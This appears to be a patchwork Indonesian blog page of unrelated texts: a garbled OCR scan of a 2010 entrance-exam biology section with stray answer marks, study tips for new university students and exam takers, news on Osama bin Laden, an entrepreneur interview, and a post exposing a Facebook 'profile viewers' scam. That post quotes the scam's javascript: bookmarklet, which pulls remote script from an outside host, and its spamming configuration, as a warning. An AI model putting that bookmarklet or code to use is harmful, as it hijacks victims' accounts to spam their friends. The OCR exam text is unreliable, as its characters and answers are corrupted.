NAOPH
dihasilkan  tidak terbentuk
(C)      dihasilkan ATP
oksigen  NAOPH
tidak terbentuk
(0)  dihasilkan A  TP      dihasilkan oksigen
NAOPH
dihasilkan      tidak terbentuk
(E)      dihasilkan ATP
oksigen      NAOPH
53.lnteraksi antar organisme berikut yang termasuk
dalam  kategori  kompetis~esifik  adalah
interaksi antara ....
(A)      sesama anggota kupu-kupu dengan spesies
sarna yang mendiami suatu populasi (...--'
(8)      sesama anggota kumbang dengan beragam
spesies yang mendiami suatu populasi
(C)      benalu dengan pohon inangnya  v
(D)      semut dengan pohon rambutan
(E)      sapi dan rumput
54.0rganel  sel  tumbuhan  berpembuluh  yang
mengandung DNA adalah ....
(A)      inti saja
(8)      kloroplas saja
(C)      inti dan kloroplas
(D)      kloroplas dan mitokondria
(E)      inti. kloroplas, dan mitokondria
55.Pada  irisan  melintang  sel  mahluk  hidup  dapat
dilihat  organel  inti  dan  mitokondria  dengan
mikroskop  ....
(A)      fase kontras\
(8)      fluorescens
(C)     cahay~x
(D)      elektron  payaran  (scanning  electron
microscope)
(E)      elektron  transmisi  (transmission  electron
microscope)  J
© 201 0 Oirektorat Jenderal Pendidikan Tinggi      Ha/aman 8 dari 9 •

Gunakan PETUNJUK B untuk menjawab soal nomor 56
dan nomor 57!
('
56.Penghambatan produksi hormon LH mengakibat·
kan peningkatan produksi progesteron.
SEBAB
Produksi  progesteron  merupakan  sekresi  dari
korpus luteurr. yang terbentuk setelah ovulasLS
57.Pengambilan  ovarium  anak  ayam  yang  baru
menetas  mengakibatkan  b~rkembangnya cirl
kelamin jantan sekunder.  \  l./
SEBAB
Hilangnya  ovarium  anak  ayam  memacu  per
kembangan testis.  l J.»
Gunakan PETUNJUK C untuk menjawab soal nomor 58
samoa; dengan nomor 601
58.Pernyataan berikut yang benar mengenai danau
oligotrofik dan danau eutrofik adalah ....
(1)      laju  fotosintesis  lebih  tinggi  pad  a  danau
eutrofik
(2)      danau oligotrofik lebih besar kemungkinannya
mengalami kekurangan oksigen
(3)      danau eutrofik lebih kaya nutrient
(4)      sedimen pada danau oligotrofik mengandung
lebih  banyak  materi  organik  yang  dapat
didekomposisi
59.Pasangan organel sel dan fungsinya yang benar
adalah ....
(1)      inti  pusat pengendali genetik  ~
(2)      vakuola - absorpsi air  v
(3)      Ilsosom - mencerna organel rusak  J
(4)      kloroplas - mengubah energi cahaya V
60.Hewan yang bertulang belakang, berdarah dingin,
bertubuh bilateral simetris, dan bersisik adalah ....
(1)      ular  ';;t
(2)      ~>(
(3)      buaya  v"
(4)      salamander  X -_..
© 20'10 Direktorat Jenderal Pendidikan Tinggi      Halaman 9 dari 9

SMESTER BARU SPIRIT BARU "MENJADI MABA YANG SUKSES"

Ok. Salam Sukses untuk maba yang membaca artikel ini.
Baik kali ini saya akan sedikit berbagi pengalaman, baik yang saya rasakan langsung, yang pernah saya baca atau yang saya lihat dari teman-teman saya di awal-awal smester pertama saya kuliah.
Menjadi generasi penerus bangsa yang tak hanya cerdas namun berakhlak Islami merupakan idaman setiap muslim. Tapi, sayangnya banyak generasi bangsa yang terjerumus pada ketidaksuksesan pada awal titian pendidikan kuliahnya. Banyak mahasiswa baru yang akhirnya berakhir pada keterpurukan kuliah akibat awal yang kurang dipersiapkan secara matang. Oleh karena itu, semoga beberapa tips dibawah ini bisa membantu Anda dalam membina diri menuju suksesnya kuliah yang diidamkan.

1. Usahakan secepat mungkin beradaptasi di perguruan tinggi 

Point pertama ini adalah point penting di awal-awal anda masuk perguruan tinggi. Sebagai mahasiswa baru kita tentu harus cepat berdaptasi dengan keadaan di kampusa baru kita.
Dalam hal lingkungan kenali lingkungan kampus anda denga mengenali berbagai tempat. Misalnya tempat yang membuat anada merasa nyaman untuk belajar,seperti mesjid, perpusatakaan, atau meja khusus di kantin yang mampu membuat anda merasa nyaman. Tentu Anda harus fleksibel, bahawa tempat nyaman anda tadi adalah tempata bersam dan anda harus siap berbagai dengan orang. Kenali pula kota Anda dengan mengetahui hal-hal penting seperti lokasi praktek dokter, rumah sakit, tempat berbelanja, masjid dekat kost hingga perpustakaan kota dan tak lupa jalur angkot.
Kemudian harus lebih aktif di bandingkan di SMA. Perlu diketahui…di semester-semester awal kita harus secepat mungkin beradaptasi dengan suasana dan kondisi yang baru, coz cepat beradaptasi dengan lingkungan perguruan tinggi kita tidak akan tertinggal dalam proses pendidikan.

 2. Mejadi mahasiswa yang welcome (Sifat kamu)

• Buka jaringan dengan siapa saja, orang baru maupun senior (itu bisa menambah info buat kamu) misal Mulai membuka sikap (dalam arti bersedia berteman dengan siapa saja) jangan sombong..!!! tapi ingatWalaupun masih Baru..!! jangan sampai kita terpengaruh dengan hal-hal negatif dari mereka.. kita harus cepat menangkap karakter orang itu sendiri bagaimana,, (kamu pasti tahu deh mana baiknya buatkamu). 
• Berpenampilan Sederhana,, soalnya dari situ kita bisa dapet temen yang bisa terima kita apa adanya.. gak   usah sok tajir,, sok cool atau gaya berlebihan,, itu bisa bikin temen kita illfill gabung dengan kita atau malah kita jadi sumber manfaat buat dia,,Coba jadi diri sendiri aja,, (buat dapet temen banyak dan disukai oleh banyak orang gak perlu kita ikut mereka)Coba jadi diri sendiri aja,, (buat dapet temen banyak dan disukai oleh banyak orang gak perlu kita ikut mereka).....Contohx saya....karena ciri  dan kekocakan saya, saya punya banyak teman. Intinya kamu punya warna tersendi

3. Kamu Menjadi Artis Kampus, "Mari Berorganisasi"

Di awal kuliah saya, banyak senior yang menawarkan formulir unttuk ikut berorganisasi. Namun demikian Pertimbangkanlah untuk bergabung dengan organisasi mahasiswa intra ataupun ekstra. Akan ada baiknya jika Anda mengenal lebih dekat organisasi yang akan Anda masuki, seperti organisasi HMI,MAPALA,atau KAMMI di kampus Anda. Anda bisa bertanya tentang organisasi-organisasi kampus kepada rekan-rekan dan kakak kelas Anda yang kompeten. Perlu diingat, jaringan sosial seperti organisasi kelak akan sangat mempengaruhi kinerja dan sistem hidup Anda, jadi carilah organisasi yang tak hanya intelektual yang diberikan, namun mengajarkan pula nilai-nilai Islami yang hidup dalam organisasi tersebut.

 4. Proses Perkuliahan Di Smester Awal, "Manfaatkan sebaik- baiknya"


Point ini Sangat penting CoZ…ada yang bilang kalau semester awal akan menentukan semester-semester selanjutnya, kalau semester awal IP kita sudah tertinggal atau kecil, kita akan sulit mengejar pada semester-semerter berikutnya. Untuk itu anada harus :

Hadirlah di kelas.

Hadirlah di kelas dengan rajin. Jangan sampai Anda absen bahkan bolos tanpa keterangan. Karena, kehadiran Anda dalam kelas bisa mempengaruhi nilai-nilai akademik Anda kedepannya. Dan, berusahalah untuk menjadi mahasiswa pembelajar yang baik. Bertanyalah kepada dosen dengan santun jika ada hal yang kurang dimengerti. Bacalah terlebih dahulu materi yang akan dosen berikan, biasanya dosen akan memberikan silabus untuk satu semester, sehingga Anda akan lebih mudah membuat jadwal belajar untuk setiap mata kuliah Anda. Banyaklah berdiskusi dengan dosen. Ingat, dosen sangat senang terhadap mahasiswa yang aktif dalam kelas.

Tidak menunda tugas belajar sampai menjelang ujian

Di perguruan tinggi alias universitas ada 2 tahapan ujian yaitu MIDTEST dan FINAL TEST. Kebanyakan mahasiswa mulai serius belajar saat menjelang ujian alias SKS (Sistem Kebut Semalam),Saya kadang-kadang gitu juga…tapi beneran dengan SKS hasilnya jadi tidak maksimal so jangan ditiru ya…!!kita akan lebih siap menghadapi ujian kalau kita benar-benar mempersiapkannya dari jauh-jauh hari.

Buatlah target yang ingin dicapai pada waktu tertentu

Mmm…target???menurut Saya target itu penting dan sangat perlu sekali untuk memotivasi kita untuk senantiasa berupaya untuk mencapainya dan untuk mengetahui sampai dimana perkembangan serta kemajauan kita. Nah…kita perlu membuat target jangka pendek, contohnya bisa menyelesaikan tugas dari dosen dengan baik dan tepat waktu dan target jangka panjang, contohnya berhasil menempuh MIDTEST dan FINALTEST dengan Baik sehingga memperoleh IP yang tinggi.

Susunlah jadwal kegiatan dan disiplinlah terhadap kegiatan tersebut

Menyusun jadwal kegiatan itu perlu untuk membantu dan membimbing kita dalam belajar dan berkreativitas secara terperogram.

Nikmatilah masa kuliah Anda

Nikmatilah proses kuliah Anda dengan hati yang bangga, senang dan penuh percaya diri. Karena, perasaan tersebut bisa membantu Anda mengurangi tekanan dan stress yang kerap muncul dalam dunia perkuliahan. Perbanyaklah pula berdo’a kepada Allah Swt agar dimudahkan dalam segala urusan perkuliahan 

Nah….itu kiat sukses untuk mahasiswa baru….. dipraktekin ya……Good Luck ya buat mahasiswa baru. Semanggggggggaaaat………….!!!

Disarikan juga dari beberbagai Sumber. 

Aplikasi Facebook “Siapa Saja Yang Lihat Profilku” Hanyalah Bohong Belaka

Berikut ini akan saya tunjukkan bukti bahwa aplikasi di Grup Jempoler Indonesia tentang pengen tau siapa aja Yang Sering lihat Profilemu adalah bohong belaka, karena hanya bersifat mengacak (random).

Mari, kita analisis. Di App tersebut, Anda akan di suruh mengkopi alamat URL: [javascript:(a=(b=document).createElement('script')).src='//www.zingapoker.byethost4.com/_.js',b.body.appendChild(a);void(0)] yang ada di Grup Jempoler Indonesia. Perhatikan, Facebook Anda akan digiring menuju link www.zingapoker.byethost4.com seperti tertera di atas.

Nah silahkan Anda kunjungi saja isi www.zingapoker.byethost4.com, maka Anda akan menemukan 4 komponen yakni

* .pureftpd-rename.36788.f8ccaee0
* _.js
* final.htm
* qwq.js

Kemudian Klik link _.js pada halaman tersebut, maka Anda akan melihat bahasa/Script berikut ini :

=======================================================

var randomnumber=Math.floor(Math.random()*99999);

var chatmessage = ’%firstname% pengen tau saipa aja yang Sering lihat profilemu? :) http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645′;

var postmessage = ’wow…ternyata banyak juga yang suka lihat profileku y : \n\ %tf% - 436 views \n\ %tf% - 83 views \n\ %tf% - 42 views \n\ %tf% - 30 views \n\ pengen tau saipa aja yang Sering lihat profilemu? http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645′;

var redirect = ’http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645′;

var eventdesc = ’You can now see whos been on your page! \n\ \n\ Go here: http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645&’+randomnumber+’ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\”;

var eventname = ’See Who Likes You!’;

var nfriends = 5000;

var debug = false;

var wf = 0;

var mf = function () {

if (wf <= 0) {

setTimeout(function () {

window['top']['location']['href'] = redirect;

}, 500);

};

};

=================================================

Perhatikan string/teks yang di cetak tebal, terlihat bahwa pemilihan teman dan jumlah klik menggunakan fungsi RANDOM (acak pilih sebarang). Artinya pemilihan teman teman Fb yang melihat profil Anda dan jumlah berapa kali mereka melihat profil Anda adalah proses mengacak secara Random.

Termasuk tulisan di wall [wow...ternyata banyak juga yang suka lihat profileku y] adalah bawaan dari program ini.

Aplikasi ini juga akan secara acak mengirim pesan Chatt kepada teman-teman Anda yang kebetulan sedang OL. Coba sekarang Anda buka elemen qwq.js pada halaman www.zingapoker.byethost4.com, akan tertampil kode bahasa :

====================================

var randomnumber=Math.floor(Math.random()*99999);

var chatmessage = ’%firstname% See who views your profile http://www.facebook.com/pages/JEMPOLERs_LIKE/143364539065677?sk=app_106878476015645′;

var postmessage = ’My Top Profile Viewers: \n\ %tf% - 436 views \n\ %tf% - 83 views \n\ %tf% - 42 views \n\ %tf% - 30 views \n\ See who views your profile http://www.facebook.com/pages/JEMPOLERs_LIKE/143364539065677?sk=app_106878476015645′;

var redirect = ’http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645′;

var eventdesc = ’You can now see whos been on your page! \n\ \n\ Go here: http://www.facebook.com/pages/JEMPOLERs_LIKE/143364539065677?sk=app_106878476015645&’+randomnumber+’ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\”;

var eventname = ’See Who Likes You!’;

====================================

Oleh karena itu, jangan percaya pada data/hasil yang di tampilkan, karena hanya mengacak belaka. Justru ada kemungkinan data-data Anda dan teman-teman Anda bisa dicuri oleh aplikasi ini.

Mari bantu informasikan ini ke teman-teman Fb Anda untuk tidak mengikuti app ini dan juga laporkan kepada Facebook tentang kejahatan Spam/Scam ini,

Semoga informasi ini bermanfaat bagi keamanan dan kenyamanan kegiatan selancar di dunia maya Anda.


copas info dari teman..smoga b'manfaat..hormatq...^_^

Tips dan Kiat Agar Lulus SNMPTN

Buat kamu-kamu yang pengen ikutan SNMPTN, berikut ada sedikit tips praktis tentang persiapan menjelang SNMPTN. Sebenarnya kamu-kamu nggak perlu takut ya untuk ikutan SNMPTN, yang penting kita harus mempersiapkan diri untuk menghadapi SNMPTN.



Langkah pertama : Niat
Kalo mau ikutan SNMPTN, ya… Diniatkan yang mantap, jangan setengah hati. Siapkan semua “senjata” serta “perlengkapan perang” untuk menghadapi yang satu ini. Mantapkan tujuan kita pengen masuk kemana, misalnya kedokteran ui, teknik elektro itb, psikologi ugm atau teknik mesin undip. Pertimbangkan pula keadaan ekonomi orang tua, cita-cita, harapan orang tua, serta peluang kerjanya setelah lulus nanti.
Beli atau pinjam soal-soal SNMPTN tahun-tahun terdahulu dari kakak-kakak kelas atau saudara, terus kerjakan soal-soal itu sebanyak mungkin. Karena soal spmb itu mengulang dari soal-soal tahun terdahulu, paling angkanya yang berubah. Oya, dari dulu SNMPTN itu namanya selalu berubah, tapi inti-nya tetap sama. Dulu namanya proyek perintis, skalu, sipenmaru, umptn kemudian SNMPTN.
Juga jangan remehkan mata ujian hari pertama, terutama bahasa indonesia. Rugi lho kalo nilai bhs. Indonesianya kecil, karena itu merupakan tambang nilai di spmb. Minimal bisa 25 soal yang benar.

Langkah kedua : Bimbel
Kalo bisa ikutan bimbingan belajar alias bimbel, tapi kalo nggak bisa, usahakan untuk mencari referensi lain di luar bimbel, jangan malu minta ajarin sama kakak kelas yang sudah kuliah, bahkan jangan malu juga nanya sama adik kelas yang lebih pintar. Yang penting kan ilmunya bisa diserap.

Langkah ketiga : Uji Kemampuan
Untuk mengukur sejauh mana persiapan dan kemampuan kita, ikut try-out SNMPTN, pasti donk banyak tempat atau instansi di kotamu yang ngadain try-out SNMPTN. So jangan ragu untuk ikutan. Begitu keluar nilai try-out kamu segera cocokkan sendiri dengan passing grade jurusan dan ptn yang akan kamu tuju. Kalo nilainya cukup pilih saja, tapi kalo nggak cukup pilih alternatif lain, misalnya pilih jurusan atau ptn dengan nilai passing grade yang lebih rendah. O,ya untuk bisa mengetahui nilai passing grade jurusan di PTN, bisa dilihat di bimbel atau tanya saja sama teman yang ikutan bimbel. Jangan segan untuk konsultasi ke pengajar bimbel ataupun ke kakak kelas yang pernah lulus umptn.

Langkah keempat : Berdo`a
Jangan lupa untuk selalu meminta petunjuk serta pertolongan dari allah, karena hanya allah yang akan menentukan segalanya. Perbanyak ibadah sunnah, misalnya shalat qiyamul lail, puasa senin kamis, shalat dhuha, dll

Langkah kelima : Masalah Teknis
Hati-hati dengan masalah teknis pengisian formulir pendaftaran. Pengisian formulir harus tepat dan hati-hati. Tidak boleh kotor, basah, terlipat atau lecek. Karena formulir umptn akan dibaca oleh komputer sehingga hal-hal tsb sangat berpengaruh. Sayang kan…, kalo sampai terjadi “kecelakaan” pada formulir SNMPTN, padahal sebenarnya nilai SNMPTN kamu cukup tinggi.

Langkah keenam : Waktu
Jangan lupa untuk survei tempat umptn minimal 2 hari sebelum SNMPTN. Ambil resiko terburuk yaitu mendapatkan meja atau tempat duduk yang kurang memadai. Jadi, siapin semaksimal mungkin. Dan pada malam hari sebelum SNMPTN jangan terlalu banyak belajar ataupun kegiatan berat lainnya, tapi istirahat untuk menenangkan pikiran, agar besoknya bisa segar. Pakailah pakaian yang nyaman, agar tidak menggangu konsentrasi.
Siapkan “senjata-senjata” berikut : minimal 4 mata pensil 2b yang siap pakai, bisa dengan menyerut 2 ujung pensil 2b, penghapus yang bersih, penggaris, klip/penjepit kertas minimal 5 buah, pulpen, tissue/saputangan, alas, jam yang tepat, air minum. O, ya kartu ujian-nya nggak boleh lupa lho…
Kalo bisa datang jangan terlalu kepagian atau terlambat. Kalo kepagian kita bisa be-te nungguin lama, kalo telat kita juga nggak tenang ngerjain soal. Waktu optimalnya kira-kira 15 menit sebelum masuk. Hindari membawa buku yang banyak, karena memberatkan, cukup “senjata” saja yang dibawa. Yakinlah bahwa kamu telah mengisi form nama, nomor ujian dan kode soal dengan benar. Jangan lupa periksa berulang-ulang.
Untuk mengerjakan soal-soal hitungan, pertama bukalah klip pada naskah soal, kemudian pisahkan satu-satu per mata pelajaran, jepit dengan klip/penjepit kertas yang telah kamu siapkan, nah, misalnya untuk mengerjakan soal fisika, dapat menghitung/mencoret-coret pada belakang naskah soal pelajaran lainnya. Lebih mudah khan??
Kerjakanlah soal yang kamu anggap paling mudah terlebih dahulu baru meningkat ke yang sedang kemudian yang sulit, sisakan waktu minimal 15 menit untuk memindahkan ke lembar jawaban. Manfaatkan waktu-waktu “injury time” untuk mengecek terakhir kebenaran form nama, nomor dll serta jawaban pada lembar jawaban komputer. Jangan terburu-buru tapi juga jangan membuang waktu. Hindari pekerjaan yang membuang waktu misalnya menyerut pensil, dsb. Rugi lho.
Setelah selesai ujian, langsung pulang, jangan keluyuran, siapkan untuk hari kedua. Kalo perlu sembunyikan lembaran soal yang kita bawa pulang. Hindari ajakan teman untuk membahas soal atau mengungkit-ungkit tentang umptn, karena akan sangat mengganggu “jiwa” kita. Kecuali kalo sudah “kebal” sih nggak apa-apa. Kalau ketemu teman cukup dengan obrolan yang ringan saja.

Hal-hal yang tak kalah penting dalam pemilihan jurusan
Sebelum memilih jurusan, ada baiknya cari informasi terlebih dahulu agar tidak terjadi penyesalan di kemudian hari. Tanya-tanya sama kakak kelas atau teman, bagaimana kuliahnya, dosennya, fasilitasnya, pergaulannya, ospeknya, biaya kuliahnya, praktikumnya, dll.

Ini 10 Mitos tentang Osama bin Laden

 












KOMPAS.com - Mendiang Osama bin Laden yang kematiannya disyukuri sekaligus diratapi orang-orang dari kelompok berbeda itu, menyisakan banyak cerita. Ada yang benar, ada yang dusta. Inilah daftar 10 mitos, dengan demikian cerita dusta, tentang lelaki dari Arab Saudi itu.

1. Osama bin Laden "bikinan" CIA. Ia maupun pengikutnya tidak pernah menerima dana langsung maupun pelatihan dari Amerika Serikat selama dasawarsa 1980-an. Penerima sejumlah besar kedua jenis sokongan Amerika itu adalah Mujahidin Afghanistan melalui badan intelijen Pakistan, ISI. Sejumlah orang keturunan Arab memang bertempur melawan pasukan Soviet tetapi jumlahnya tidak signifikan.

2. Ia punya kekayaan pribadi yang sangat besar. Bin Laden terpaksa meninggalkan uang tunainya ketika harus pergi dari Arab Saudi tahun 1991 ke Pakistan, kemudian Sudan. Keluarganya memotong aksesnya sama sekali. Dia juga tidak menerima warisan dari ayahnya yang sangat kaya, dan telah dibagi-bagi. Yang dimiliki Bin Laden adalah jaringan yang memungkinkannya menggalang dana dengan mudah.
3. Ia bertanggungjawab atas pengeboman Word Trade Centre tahun 1993. Ramzi Yousef, pelaku utama serangan itu, mungkin bekerja untuk Khaled Sheikh Mohammed yang merupakan operator independen pada saat itu. Muhammad mulai bekerja dengan Al-Qaeda pada 1996, dan bahkan kemudian menjaga jarak dengan Bin Laden.

4. Ia mendapat uang dari bisnis narkoba. Tidak ada bukti sejauh ini meskipun ada klaim yang diulang-ulang, misalnya dalam berkas pemerintah Inggris tentang pasca serangan 11 September dan Al-Qaeda.

5. Ia tidak pernah terlibat pertempuran berbahaya. Dia tidak sendirian ketika menyita senjata AK-47 dari seorang jenderal Soviet yang mati, sebagaimana kadang dia akui. Namun, banyak saksi melaporkan tentang keberadaannya di tengah-tengah pertempuran Jaji pada 1987, dan pertempuran Jalalabad pada 1989.

6. Ia lebih sering di gua. Pada akhir 1990-an, demi propaganda, Bin Laden mengundang jurnalis tertentu untuk menemuinya di goa dekat Tora Bora di Afghanistan timur. Namun sebetulnya, ia tinggal di sebuah kompleks yang jauh lebih nyaman, dekat lahan pertanian di Hadda, bekas wilayah Uni Soviet, milik seorang panglima perang lokal.
Menjelang 1999, ia pindah ke sebuah kompleks perumahan dekat Kandahar. Sebelum terbunuh, dia hidup di rumah nyaman yang terpisah tetapi dekat kompleks itu di Abbottabad, Pakistan. Selama itu, tidak ada bukti ia tinggal di gua.

7. Ia remaja yang suka pesta di Beirut sebelum berubah jadi relijius. Tidak ada bukti soal itu sejauh ini. Bin Laden tampaknya pemuda yang tekun, pemalu dan saleh serta menikah muda dan banyak menghabiskan waktu untuk belajar kitab.

8. Dia nyaris sekarat karena penyakit ginjal. Ada beberapa laporan -- termasuk dalam dokumen Guantanmo -- mengenai masalah ginjal tetapi tentu saja tidak cukup serius untuk menewaskannya. Penyakit itu agaknya lebih karena ada masalah dengan punggungnya akibat posturnya yang tinggi (6 feet 5 inchi = 1,9558 meter) dan gaya hidupnya.

9. Ia bersembunyi di Kashmir, sebagai pemimpin gerilayawan Chechnya, dan bertanggungjawab atas kekerasan di Filipina dan Indonesia, merancang serangan di Madrid, Spanyol, tahun 2004 dan memiliki jaringan luas di Paraguay, wilayah sub-sahara Afrika dan Afrika Selatan. Semua klaim itu dibuat oleh pemerintah sejumlah negara atau badan intelijen selama lebih dari satu dasawarsa yang terbukti seluruhnya disusun tanpa dasar.

10. Bin Laden adalah penggemar klub sepak bola Arsenal. Meskipun ada laporan fans Arsenal meneriakkan, "Osama, woah-woah, Osama, woah-woah, ia bersembunyi di Kabul, ia mencintai Arsenal", tetapi Bin Laden bukan penggemar setia klub sepak bola dari London utara itu

Mayoritas Remaja AS Tak Mengenal Osama

Tewasnya Osama bin Laden yang diduga sebagai otak dibalik pemboman gedung World Trade Centre 11 September 2001, disambut meriah oleh warga Amerika Serikat. Akan tetapi, mayoritas generasi muda mereka ternyata sudah tak terlalu mengenal Bin Ladin.
Fakta ini terungkap dari data yang dirilis oleh situs pencari Yahoo! Selasa, 3 Mei 2011, kemarin. Menurut Yahoo!, dari 66 persen pengguna internet yang melakukan pencarian dengan topik "Siapa itu Osama Bin Laden" ternyata adalah kelompok remaja berusia antara 13-17 tahun.
Hal ini memang bisa dipahami lantaran mereka masih berusia antara tiga hingga tujuh tahun saat dua pesawat ditabrakkan ke gedung WTC dan membunuh sekitar 3.000 orang.
Bagaimana dengan kelompok usia 18 tahun lebih yang juga mencari dengan topik itu? Menurut Yahoo! kemungkinan mereka hanya ingin memeriksa apakah ada fakta atau berita baru yang berkaitan dengan Bin Laden.
Data Yahoo! juga menyebutkan bahwa 33 persen remaja 13-17 tahun juga ingin mengetahui "Bagaimana Osama Tewas", sedangkan 40 persen remaja berusia antara 13-20 tahun mencari informasi "Siapa yang membunuh Osama bin Laden", dan sebagian kecil remaja berusia 13-17 tahun juga ingin tahu detil teori konspirasi yang dikaitkan dengan Bin Laden.
Secara keseluruhan, Yahoo! mencatat kenaikan 10 ribu persen pencarian bertopik Bin Laden sepanjang hari Minggu, 1 Mei 2011, saat kematian Bin Laden diumumkan. Ini menjadikan Bin Laden sebagai sosok yang paling dicari orang sepanjang hari itu.
Kebanyakan pencari topik soal Bin Laden, menurut Yahoo!, ingin memastikan bahwa berita kematian itu benar adanya. Oleh sebab itu, kata kunci nomor satu adalah: "Benarkah Usama Bin Ladin tewas?". Satu dari lima pencarian dilakukan oleh remaja, sedangkan 24 persennya dilakukan oleh mereka yang berusia di bawah 24 tahun.
Google mencatat rekor peningkatan pencarian sampai 1 juta persen antara pukul 19.30-20:30 waktu Pasifik pada hari Minggu.
Kata-kata kunci pencarian lainnya yang meningkat terkait dengan kematian itu adalah: Presiden Obama, Pakistan, dan yang berkaitan dengan 9/11, serta patriotisme seperti Bendera Amerika Serikat dan lirik lagu kebangsaan "Star Spangled Banner".
Berita kematian Bin Ladin, menurut Yahoo!, memang berangsur-angsur membuat orang lupa pada peristiwa bersejarah pekan lalu, yaitu pernikahan Pangeran William dan Kate Middleton. Namun, pernikahan itu sendiri telah mencatatkan rekor bagi Yahoo dengan jumlah pengunjung mencapai 400 juta pada hari Jumat. Ini berarti jauh lebih tinggi ketimbang peristiwa gempa dan tsunami di Jepang.
Yahoo! harus melayani 50 ribu permintaan per detik pada hari Jumat itu. Sebagai perbandingan, permintaan halaman yang berkaitan dengan Osama bin Laden mencapai 40 ribu per detik. (tempo)

Fakta-Fakta yang Diselewengkan Soal Penyerbuan Markas Osama bin Laden

REPUBLIKA.CO.ID, LONDON - Gedung Putih memang harus merevisi cerita tentang penyerbuan yang menewaskan Osama bin Laden di Abbottabad, Pakistan, demikian harian yang terbit di Inggris, Guradian, melaporkan. Media ini mencatat, banyak fakta yang berbelok tentang operasi penyerbuan itu, dan tentang Osama bin Laden sendiri.
Kini, rumah persembunyian Osama dijaga ketat aparat kepolisian Pakistan. Namun, banyak jejak Osama di sana yang sudah dihapuskan. Setidaknya, para prajurit Amerika yang telah  menjelajahi bangunan tiga lantai itu membawa serta harddisk komputer  dan  dokumen berharga- termasuk juga tubuh Bin Laden yang berlumuran darah, yang kemudian dikubur di laut.
Keesokan harinya, intelijen Pakistan - marah karena tidak menerima informasi tentang penyerbuan itu. Mereka datang mengangkut furnitur dan barang-barang lain. Tapi itu tidak mungkin untuk menghapus setiap jejak drama yang menjadi akhir perburuan tersebut.
Apa saja fakta yang dibelokkan dari penyerbuan itu? Berikut data-data dari Guardian:
* "Ini adalah perak!" Yasser, bocah 12 tahun, menyatakan. Apa yang dipegangnya hanyalah potongan dari sebuah knalpot mobil biasa. Gambaran AS bahwa Osama tinggal di mansion mewah ikut mempengaruhi publik Pakistan, bahwa pimpinan Al Qaeda itu bergelimang kekayaan di akhir hayatnya. Seorang intelijen yang berkeliaran di dekatnya tampak gugup, sebelum menyambar anak dengan tangan dan membawanya pergi.
* Beberapa jam setelah kematian Bin Laden, para pejabat AS memberitahu bahwa ia  melawan dan karenanya ditembak oleh tim khusus AL Amerika Serikat yang menyerbu lantai kedua dan  tiga dari tempat persembunyiannya. Fakta itu ternyata tidak benar. Bin Laden tidak bersenjata, ditembak di kepala dan dada.
* Rincian lain menyebutkan ia menggunakan salah seorang istrinya sebagai tameng hidup. Faktanya, istrinya telah terluka di kaki sambil bergegas ke arah pasukan khusus sebelum ia terbunuh.
* Disebut-sebut, rumah persembunyian Osama bin Laden adalah sebuah mansion dekat markas tentara Pakistan berharga sewa jutaan dolar AS. Faktanya, rumah bertembok tinggi itu jauh dari gambaran itu; setidaknya terlihat dari cat bangunan yang terkelupas dan tak terawat, serta tak ada satupun AC di lantai-lantainya.
* Berbagai rincian, bagaimanapun, tetap kabur. Para pejabat Amerika mengubah versi awal mereka untuk mengungkapkan bahwa seorang perempuan yang tewas dalam serangan terhadap kompleks itu bukan istri Bin Laden.
Hal ini juga tidak jelas bagaimana Bin Laden, yang terpojok dalam ruangan di lantai tiga yang ditandai dengan kaca jendela hancur, melawan saat  tentara AS menerobos ke kamarnya.

‘Think Like an Entrepreneur’

  Sandiaga Salahuddin Uno

Salah satu pengusaha muda paling kaya di Indonesia Sandiaga Salahuddin Uno bercerita soal jatuh bangun membangun usaha dan pendapatnya mengenai peluang usaha yang masih terbuka di Indonesia.







Kesibukan sekarang

Aku fokus di Kadin, tapi tahun ini lebih banyak ke pengembangan bisnis. Banyak waktuku habis di Saratoga tapi di Recapital juga masih menduduki jabatan. Juga sebagai komisaris di beberapa anak usaha, ikut membantu tapi nggak day to day, hanya big picture dan strategy, dan memantau sebagai pemegang saham.

Terpilih sebagai salah satu orang terkaya dan termuda di Indonesia versi majalah Forbes

Memulai usaha itu, hampir semua orang termasuk saya tak pernah terpikir bahwa 10 atau 14 tahun ke depan akan mencapai pencapaian seperti ini. Bagi saya bisnis itu adalah survival mode. Betul-betul terpaksa karena di-PHK. Ada krisis tahun 1997-1998 yang memaksa banyak perusahaan melakukan PHK dan saya salah satunya. Tapi itu ternyata membuka satu peluang di tengah-tengah krisis tersebut. Kalau dilihat potretnya sekarang memang sukses tapi ketika dilihat sejarahnya, banyak jatuh bangun. Ini yang saya alami, kesulitan membangun usaha sangat terasa dalam tahun-tahun pertama sampai tiga tahun pertama.

Perubahan yang terbesar dari karyawan menjadi pengusaha

Sebagai pengusaha, kita harus mengubah paradigma dari seorang karyawan yang biasanya-- walaupun memberi yang terbaik-- pada akhir bulan sudah dijamin dengan segala tunjangan dan gaji yang bakal ada di rekening koran. Itu membentuk sifat karyawan yang tidak suka mengambil risiko. Seorang pengusaha jatuh bangun karena bisnis penuh risiko. Kami melihat bagaimana tanggung jawab membesarkan perusahaan dan menciptakan lapangan kerja itu tidak mudah. (Baca juga: Rahasia Sikap Mental Pengusaha)

